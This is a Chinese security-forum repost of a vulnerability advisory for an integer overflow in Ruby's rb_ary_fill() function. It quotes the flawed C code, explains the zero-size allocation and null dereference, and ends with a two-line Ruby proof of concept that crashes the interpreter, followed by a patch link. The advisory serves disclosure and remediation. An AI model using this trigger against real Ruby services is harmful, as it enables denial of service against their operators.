中国最大的反病毒和网络安全技术门户网站
剑盟中国主页 | 扑奔PPT门户 | 安全资讯 | 会员博客 | 会员相册 | 会员商城 | 资源下载 | 反病毒救援
发新话题
打印

Ruby rb_ary_fill()函数远程拒绝服务漏洞

Ruby rb_ary_fill()函数远程拒绝服务漏洞

受影响系统:
Yukihiro Matsumoto Ruby 1.9.x
Yukihiro Matsumoto Ruby 1.8.x
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 30036

Ruby是一种功能强大的面向对象的脚本语言。

Ruby的rb_ary_fill()函数中存在整数溢出漏洞

rb_ary_modify(ary);
    end = beg + len;
    if (end < 0) {
    rb_raise(rb_eArgError, "argument too big");
    }
    if (end > RARRAY(ary)->len) {
    if (end >= RARRAY(ary)->aux.capa) {
        REALLOC_N(RARRAY(ary)->ptr, VALUE, end);
        RARRAY(ary)->aux.capa = end;
    }

len值由之前的函数递增1,且由用户指定。由于缺少输入检查,可能在以下位置触发整数溢出:

REALLOC_N(RARRAY(ary)->ptr, VALUE, end);

这个宏会分配end * VALUE。在32位架构上VALUE为4,因此如果攻击者指定的值为0x3fffffff的话,宏就会分配0内存区域,在下一次访问ary->ptr的时候就出出现空指针引用。

<*来源:Vincenzo Iozzo (snagg@securenetwork.it
  
  链接:http://marc.info/?l=bugtraq&m=121494001419255&w=2
*>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

a = []
a.fill("A",0..0x3fffffff)

建议:
--------------------------------------------------------------------------------
厂商补丁:

Yukihiro Matsumoto
------------------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://svn.ruby-lang.org/cgi-bin ... array.c?view=markup

TOP

发新话题